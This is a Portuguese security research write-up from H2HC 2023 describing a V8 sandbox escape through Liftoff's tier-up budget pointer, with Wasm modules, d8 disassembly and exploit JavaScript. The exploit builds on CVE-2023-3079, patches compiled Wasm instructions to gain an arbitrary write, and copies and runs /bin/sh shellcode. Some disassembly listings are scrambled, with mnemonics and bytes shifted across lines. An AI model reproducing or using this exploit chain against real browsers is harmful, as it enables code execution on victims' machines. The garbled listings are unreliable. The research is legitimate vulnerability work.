2023-12-12
Essa foi uma pesquisa publicada durante a H2HC 2023! Muitos agradecimentos a @bsdaemon, @filipebalestra, @gabrielnb e toda equipe por criar e manter esse evento incrivel!
O Chrome vem criando novas mitigações a fim de inviabilizar, ou pelo menos dificultar, a exploração do v8, pois a complexidade de implementar a especificação mais moderna do ECMAScript e manter uma performance de alto nível são uma tarefa muito complexa e uma enorme superfície de ataque. Tendo isso em mente, o projeto “V8 Sandbox” foi desenvolvido.
Essa sandbox é um pouco diferente do convencional. Não existem dois processos distintos ou uma limitante de poderes para o v8, o design da sandbox é baseado no isolamento da Heap e no poder de corrupção. Basicamente, o v8 aloca uma região de memória, a chamada “V8 Sandbox”, e nela coloca todos os JSObjects. Ou seja, todos os objetos em si do JS. O ponto crucial é remover todos os ponteiros raw de 64 bits de dentro da Sandbox e trocar por offsets (de 32 a 40 bits) ou índices de tabelas estrangeiras(de fora da heap). Dessa forma, ao adquirir algum bug, fica-se limitado para corromper dados de dentro da Sandbox e não resultaria em nada mais que um crash.
Podemos ver que para acessar um ArrayBuffer
, utilizamos
um offset de 40 bits, então, caso se possa corromper tal endereço, não
será possível escapar da Sandbox para escrever na página Wasm RWX, por
exemplo. Da mesma forma, para acessar entidades externas, como a DOM,
será usado um índice (0, 1, 2, 3…) e o mesmo ocorrerá com os
Code Pointers
. Como não temos nem o offset do ponteiro da
função, também inválida a possibilidade de executar o código com
JIT spray
- uma técnica na qual utilizamos o JIT para criar
instruções específicas de mov
, e depois desalinhar o
ponteiro de entry point, a fim de conseguir executar um shellcode.
O Liftoff é o compilador de WebAssembly do v8, sendo o seu objetivo o de criar o assembly relativo de um código Wasm o mais rápido possível. Para o caso de ser necessário posteriormente, o código será otimizado pelo TurboFan. O interessante aqui são alguns opcodes gerados pelo Liftoff, podemos usar o seguinte código em Wasm e ver o resultado compilado:
;; Literally do nothing
(module
(func (export "nop")
nop
)
)
--print-code --allow-natives-syntax --shell exp.js
// ./d8 12.1.0 (candidate)
V8 version > nop()
d8---
--- WebAssembly code name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
(size = 128 = 80 + 48 padding)
Body (size = 68)
Instructions push rbp
0x3b34546a5c00 0 55 .W movq rbp,rsp
0x3b34546a5c01 1 4889e5 REXpush 0x8
0x3b34546a5c04 4 6a08 push rsi
0x3b34546a5c06 6 56 .W subq rsp,0x10
0x3b34546a5c07 7 4881ec10000000 REX493b65a0 REX.W cmpq rsp,[r13-0x60]
0x3b34546a5c0e e jna 0x3b34546a5c2b <+0x2b>
0x3b34546a5c12 12 0f8613000000 .W movq r10,[rsi+0x77]
0x3b34546a5c18 18 4c8b5677 REX[r10],0x18
0x3b34546a5c1c 1c 41832a18 subl js 0x3b34546a5c36 <+0x36>
0x3b34546a5c20 20 0f8810000000 .W movq rsp,rbp
0x3b34546a5c26 26 488be5 REXpop rbp
0x3b34546a5c29 29 5d
0x3b34546a5c2a 2a c3 retl0x3b34546a5300 (jump table)
0x3b34546a5c2b 2b e8d0f6ffff call .W movq rsi,[rbp-0x10]
0x3b34546a5c30 30 488b75f0 REX0x3b34546a5c18 <+0x18>
0x3b34546a5c34 34 ebe2 jmp 0x3b34546a5160 (jump table)
0x3b34546a5c36 36 e825f5ffff call .W movq rsi,[rbp-0x10]
0x3b34546a5c3b 3b 488b75f0 REX0x3b34546a5c26 <+0x26>
0x3b34546a5c3f 3f ebe5 jmp nop
0x3b34546a5c41 41 0f1f00
:
Source positions
pc offset position
2b 0 statement
36 2 statement
(entries = 1, byte size = 10)
Safepoints (sp->fp): 00000000
0x3b34546a5c30 30 slots
(size = 0)
RelocInfo
--- --- End code
Perto do meio da função podemos ver duas instruções muito peculiares:
;; [1]
mov r10, [rsi+0x77]
[r10], 0x18 subl
Se usarmos um debugger podemos ver que rsi
é um
ponteiro para a WasmInstance
, Objeto que reside dentro da
V8 Sandbox:
Hmm, interessante. Vamos usar outro código para ver outra situação:
;; Get 2 params, 32bits offset and 64bits to write
(module
(memory 1)
(func (export "write")
(param $offset i32) ;; Offset within memory
(param $value i64) ;; 64-bit integer to write
(i64.store
(local.get $offset) ;; Get the memory offset
(local.get $value) ;; Get the i64 value
)
)
)
--print-code --allow-natives-syntax --shell exp.js
// ./d8 12.1.0 (candidate)
V8 version > write(0, 10n)
d8---
--- WebAssembly code name: wasm-function[1]
index: 1
kind: wasm function
compiler: Liftoff
(size = 128 = 104 + 24 padding)
Body (size = 92)
Instructions push rbp
0x2376a15e0b80 0 55 .W movq rbp,rsp
0x2376a15e0b81 1 4889e5 REXpush 0x8
0x2376a15e0b84 4 6a08 push rsi
0x2376a15e0b86 6 56 .W subq rsp,0x10
0x2376a15e0b87 7 4881ec10000000 REX493b65a0 REX.W cmpq rsp,[r13-0x60]
0x2376a15e0b8e e jna 0x2376a15e0bbb <+0x3b>
0x2376a15e0b92 12 0f8623000000 .W movq rcx,[rsi+0x27]
0x2376a15e0b98 18 488b4e27 REX.W shrq rcx, 24
0x2376a15e0b9c 1c 48c1e918 REX;; ^ opcode do shr
.W addq rcx,r14
0x2376a15e0ba0 20 4903ce REX.W movq [rcx+rax*1],rdx
0x2376a15e0ba3 23 48891401 REX.W movq r10,[rsi+0x77]
0x2376a15e0ba7 27 4c8b5677 REX[r10+0x4],0x27
0x2376a15e0bab 2b 41836a0427 subl js 0x2376a15e0bca <+0x4a>
0x2376a15e0bb0 30 0f8814000000 .W movq rsp,rbp
0x2376a15e0bb6 36 488be5 REXpop rbp
0x2376a15e0bb9 39 5d
0x2376a15e0bba 3a c3 retlpush rax
0x2376a15e0bbb 3b 50 push rdx
0x2376a15e0bbc 3c 52 0x2376a15e0300 (jump table)
0x2376a15e0bbd 3d e83ef7ffff call pop rdx
0x2376a15e0bc2 42 5a pop rax
0x2376a15e0bc3 43 58 .W movq rsi,[rbp-0x10]
0x2376a15e0bc4 44 488b75f0 REX0x2376a15e0b98 <+0x18>
0x2376a15e0bc8 48 ebce jmp push rax
0x2376a15e0bca 4a 50 push rcx
0x2376a15e0bcb 4b 51 push rdx
0x2376a15e0bcc 4c 52 0x2376a15e0160 (jump table)
0x2376a15e0bcd 4d e88ef5ffff call pop rdx
0x2376a15e0bd2 52 5a pop rcx
0x2376a15e0bd3 53 59 pop rax
0x2376a15e0bd4 54 58 .W movq rsi,[rbp-0x10]
0x2376a15e0bd5 55 488b75f0 REX0x2376a15e0bb6 <+0x36>
0x2376a15e0bd9 59 ebdb jmp nop
0x2376a15e0bdb 5b 90
:
Protected instructions
pc offset
23
:
Source positions
pc offset position
23 5 statement
3d 0 statement
4d 8 statement
(entries = 1, byte size = 11)
Safepoints (sp->fp): 0000000000000000
0x2376a15e0ba3 23 slots
(size = 0)
RelocInfo
--- --- End code
Perto do meio da função, podemos ver as seguintes instruções:
;; [2]
mov rcx, [rsi+0x27] ;; address from v8 cage
shr rcx, 24 ;; shift to limit address size
add rcx, r14 ;; add base with sandbox offset
mov [rcx+rax], rdx ;; write we 64bit(rdx) to base(rcx) + input offset(rax)
Podemos analisar no compilador o código responsável por gerar esses trechos de códigos e vamos perceber exatamente qual a diferença desses dois acessos à memória:
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/baseline/x64/liftoff-assembler-x64-inl.h;l=323-340;drc=c2783fca4a60fb1ca2cd3b05bc7676396905f8f9
void LiftoffAssembler::CheckTierUp(int declared_func_index, int budget_used,
* ool_label,
Labelconst FreezeCacheState& frozen) {
= cache_state_.cached_instance;
Register instance if (instance == no_reg) {
= kScratchRegister;
instance (instance);
LoadInstanceFromFrame}
= kScratchRegister; // Overwriting {instance}.
Register budget_array constexpr int kArrayOffset = wasm::ObjectAccess::ToTagged(
::kTieringBudgetArrayOffset);
WasmInstanceObject(budget_array, Operand{instance, kArrayOffset});
movq
// [3]
int offset = kInt32Size * declared_func_index;
(Operand{budget_array, offset}, Immediate(budget_used));
subl(negative, ool_label);
j}
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/x64/macro-assembler-x64.cc;l=449-457;drc=8de6dcc377690a0ea0fd95ba6bbef802f55da683
void MacroAssembler::DecodeSandboxedPointer(Register value) {
(this);
ASM_CODE_COMMENT#ifdef V8_ENABLE_SANDBOX
// [4]
(value, Immediate(kSandboxedPointerShift));
shrq(value, kPtrComprCageBaseRegister);
addq#else
();
UNREACHABLE#endif
}
No primeiro acesso ([1]
), quem gerou esse assembly foi a
função CheckTierUp
([3]
), que pega esse
endereço com Operand{instance, kArrayOffset}
, que é
compilado para mov r10, [instance+kArrayOffset]
, enquanto
no segundo trecho de código ([2]
), quem gerou esse acesso
foi a função DecodeSandboxedPointer
, fazendo o
shift e add corretos ([4]
). Ou seja,
estamos simplesmente confiando em um ponteiro de dentro da sandbox e
subtraindo budget_used
.
Se você se lembrar que as paginas de WebAssembly são RWX você pode perceber algo interessante: Temos um CTF de shellcoding!
Se escrevemos no endereço [rsi+0x77]
o endereço da
instrução shr rcx, 24
, podemos subtrair 0x18 de algum lugar
do opcode, vamos ver quais instruções podemos criar com isso:
r3tr0@pwn:~$ rasm2 -d 48c1e918
shr rcx, 0x18
r3tr0@pwn:~$ rasm2 -d 30c1e918 # 0x48-0x18=0x30
xor cl, al
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48a9e918 # 0xc1-0x18=0xa9
invalid
invalid
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48c1d118 # 0xe9-0x18=0xd1
rcl rcx, 0x18
Ótimo! Achamos algo muito útil! Conseguimos trocar a instrução
shr rcx, 0x18
por rcl rcx, 0x18
, essa
instrução apenas faz “Rotate” do valor. Isso parece o suficiente para
ignorar o shift e utilizar endereços de 64 bits, dessa forma, podemos
simplesmente usar essa função como “write any where” e copiar um
shellcode para alguma função Wasm.
Vamos testar nossa teoria! Podemos fazer de duas formas, usar algum
CVE recente ou as API’s de corrupção de memória (é estranho que isso
exista, mas a sua função é exatamente testar coisas como a sandbox),
podemos ativar ela com a flag
v8_expose_memory_corruption_api=true
no arquivo
args.gn
. Nesse paper vamos testar as duas formas.
Exploit baseado em: https://github.com/mistymntncop/CVE-2023-3079
Essa é uma falha onde vazamos o TheHole e forçamos um type confusion, não irei me aprofundar, pois não é o objetivo deste paper, mas se quiser ver de forma mais detalhada sobre o bug, leia o exploit original aqui.
Vamos repetir o mesmo processo e ver o código gerado:
(module
(func $nop (export "nop")
nop
)
)
---
--- WebAssembly code name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
(size = 128 = 88 + 40 padding)
Body (size = 76)
Instructions push rbp
0x1c6675a9740 0 55 .W movq rbp,rsp
0x1c6675a9741 1 4889e5 REXpush 0x8
0x1c6675a9744 4 6a08 push rsi
0x1c6675a9746 6 56 .W subq rsp,0x10
0x1c6675a9747 7 4881ec10000000 REX488b462f REX.W movq rax,[rsi+0x2f]
0x1c6675a974e e .W cmpq rsp,[rax]
0x1c6675a9752 12 483b20 REXjna 0x1c6675a9774 <+0x34>
0x1c6675a9755 15 0f8619000000 .W movq rax,[rsi+0x8f]
0x1c6675a975b 1b 488b868f000000 REXrcx,[rax]
0x1c6675a9762 22 8b08 movl rcx,0x1b
0x1c6675a9764 24 83e91b subl js 0x1c6675a977f <+0x3f>
0x1c6675a9767 27 0f8812000000 [rax],rcx
0x1c6675a976d 2d 8908 movl .W movq rsp,rbp
0x1c6675a976f 2f 488be5 REXpop rbp
0x1c6675a9772 32 5d
0x1c6675a9773 33 c3 retl0x1c6675a92e0 (jump table)
0x1c6675a9774 34 e867fbffff call .W movq rsi,[rbp-0x10]
0x1c6675a9779 39 488b75f0 REX0x1c6675a975b <+0x1b>
0x1c6675a977d 3d ebdc jmp 0x1c6675a9160 (jump table)
0x1c6675a977f 3f e8dcf9ffff call .W movq rsi,[rbp-0x10]
0x1c6675a9784 44 488b75f0 REX0x1c6675a976f <+0x2f>
0x1c6675a9788 48 ebe5 jmp nop
0x1c6675a978a 4a 6690
:
Source positions
pc offset position
34 0 statement
3f 2 statement
(entries = 1, byte size = 10)
Safepoints (sp->fp): 00000000
0x1c6675a9779 39 slots
(size = 0)
RelocInfo
--- --- End code
Durante os testes eu não consegui achar uma forma de usar o valor
0x1b
para criar outros opcodes uteis, então tive uma outra
ideia, o valor do subl
muda dependendo da versão do v8 e
das interações que o código tem com a stack. O objetivo será
gerar duas funcões de “nop”, uma com o budget_used
maior
que o outro, e usar a primeira função para subtrair da segunda o valor
do seu subl
, exemplificando melhor:
(module
(memory 1)
(func $nop (export "nop")
i32.const 1
i32.const 0xdead
i32.store
)
(func (export "nop2")
nop
i32.const 0
i32.const 0xdead
i32.store
i32.const 1
i32.const 0xdead
i32.store
)
)
11.4.0 (candidate)
V8 version > nop()
d8
[truncated]0x1a787102975b 1b 488b868f000000 REX.W movq rax,[rsi+0x8f]
0x1a7871029762 22 8b08 movl rcx,[rax]
0x1a7871029764 24 83e91b subl rcx,0x1b
[truncated]> nop2()
d8
[truncated]0x1a78710297f5 35 488b868f000000 REX.W movq rax,[rsi+0x8f]
0x1a78710297fc 3c 8b5008 movl rdx,[rax+0x8]
0x1a78710297ff 3f 83ea35 subl rdx,0x35
[truncated]
E no exploit vamos subtrair 0x1b
de
0x35
:
v8_write64(wasm_instance_addr + tiering_budget_array_off, sub_instruction_addr);
nop(); // transform "subl rdx,0x35" in "subl rdi,0x7"
E depois disso, podemos subtrair valores de forma mais assertiva,
vamos criar outras duas funções no WebAssembly, arb_write
e
shell
, a primeira será a função que vamos retirar os checks
de integridade e a segunda um “nop” para onde vamos copiar nosso
shellcode:
(func $main (export "arb_write")
(param $offset i32) ;; Offset within memory
(param $value i64) ;; 64-bit integer to write
(i64.store
(local.get $offset) ;; Get the memory offset
(local.get $value) ;; Get the i64 value
)
)
(func (export "shell")
nop
)
Agora com nosso subl [arb address],0x7
vamos trocar
algumas instruções de arb_write
:
v8_write64(wasm_instance_addr + tiering_budget_array_off, shr_instruction_addr - 4n);
nop2(); // transform "shrq rcx, 24" in "shr r9d, 0x18"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n);
nop2(); // transform "addq rcx,r14" in "add ecx, esi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add ecx, esi" in "add eax,edi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add eax,edi" in "add eax, eax"
v8_write64(wasm_instance_addr + tiering_budget_array_off, orig_sub_addr);
Trocamos as instruções shrq rcx, 24
por
shr r9d, 0x18
e addq rcx, r14
por
add eax, eax
, uma comparação de antes/depois:
11.4.0 (candidate)
V8 version > arb_write(0, 10n)
d8]
[truncated.W movq rcx,[rsi+0x1f]
0x1d26426fd81b 1b 488b4e1f REX.W shrq rcx, 24
0x1d26426fd81f 1f 48c1e918 REX.W addq rcx,r14
0x1d26426fd823 23 4903ce REX.W movq [rcx+rax*1],rdx
0x1d26426fd826 26 48891401 REX.W movq rbx,[rsi+0x8f]
0x1d26426fd82a 2a 488b9e8f000000 REXrdi,[rbx+0x8]
0x1d26426fd831 31 8b7b08 movl rdi,0x2a
0x1d26426fd834 34 83ef2a subl ] [truncated
> x/10i 0x1d26426fd81b
pwndbgmov rcx,QWORD PTR [rsi+0x1f]
0x1d26426fd81b: shr r9d,0x18
0x1d26426fd81f: .X add eax,eax
0x1d26426fd823: rexmov QWORD PTR [rcx+rax*1],rdx
0x1d26426fd826: mov rbx,QWORD PTR [rsi+0x8f]
0x1d26426fd82a: mov edi,DWORD PTR [rbx+0x8]
0x1d26426fd831: sub edi,0x2a
0x1d26426fd834: ] [truncated
Perfeito! Finalmente podemos simplesmente copiar nosso shellcode e executar shell:
const shellcode = [
0x732f6e69622fb848n, 0x66525f5450990068n, 0x5e8525e54632d68n, 0x68736162000000n, 0xf583b6a5e545756n, 0x5n
;
]
console.log("[+] Copying shellcode")
v8_write64(wasm_instance_addr + 0x1fn, shellcode_addr);
.map((code, i) => {
shellcodearb_write(i * 4, code);
})
console.log("[+] Poping shell!!!")
shell();
Para adaptar o exploit usando a memory corruption API não é muito complexo, podemos criar as seguintes funções para simular uma exploração bem sucedida dentro da v8 sandbox:
let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function addrOf(obj) {
return Sandbox.getAddressOf(obj);
}
function v8_read64(addr) {
return sandboxMemory.getBigUint64(Number(addr), true);
}
function v8_write64(addr, val) {
return sandboxMemory.setBigInt64(Number(addr), val, true);
}
E para escrever o exploit, precisamos apenas debuggar um pouco para encontrar os novos offsets e valores que precisamos/podemos corromper:
Se você tiver qualquer duvida sobre o paper, fique a vontade para entrar em contato.